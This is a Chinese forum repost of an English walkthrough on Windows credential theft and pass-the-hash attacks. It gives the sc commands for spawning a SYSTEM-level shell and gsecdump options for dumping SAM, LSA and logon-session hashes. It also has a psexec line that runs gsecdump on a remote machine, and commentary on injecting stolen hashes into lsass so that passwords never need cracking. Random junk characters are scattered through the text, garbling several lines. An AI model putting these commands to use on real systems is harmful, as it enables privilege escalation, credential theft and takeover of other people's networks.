HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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( z# F* M# S/ Q2 nC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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C:\>sc start shellcmdline
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
9 R" H5 D) J" x  e. s$ o! ][SC] DeleteService SUCCESS
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: ^. c/ D2 u% }  H$ H3 l: IThen in the new DOS window:
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Microsoft Windows XP [Version 5.1.2600]
2 @' ?/ g$ k/ h, S; X0 i. `(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
6 V! p6 f0 i* N1 j: ^NT AUTHORITY\SYSTEM
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8 e2 O; }" r% _1 b3 _1 g# iC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
3 T3 B! O% d/ y6 t8 O+ Kusage: gsecdump [options]

  q. i% f) i( ^2 Q# ^% D/ poptions:
# ~: D7 H2 G$ D-h [ --help ] show help
" `0 _- i. |: G& c# l( T" K7 Y6 X4 m-a [ --dump_all ] dump all secrets
4 `: B/ z1 m0 @8 q9 F5 L% O! _-l [ --dump_lsa ] dump lsa secrets
% C$ t# P$ ^/ X; l% H-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD
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: k0 C" T" R/ q3 h& y0 f4 \/ E+ yAlthough I like to use:

PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

: T) D6 {0 j8 c4 V- hC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

. D$ \& t. Y, P' V5 y& O9 Lto get the hashes from active logon sessions of a remote system.
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These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

7 o9 m& |' _* I5 a, i) s7 o' n提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
: D1 @- t, B5 J3 t, T" u原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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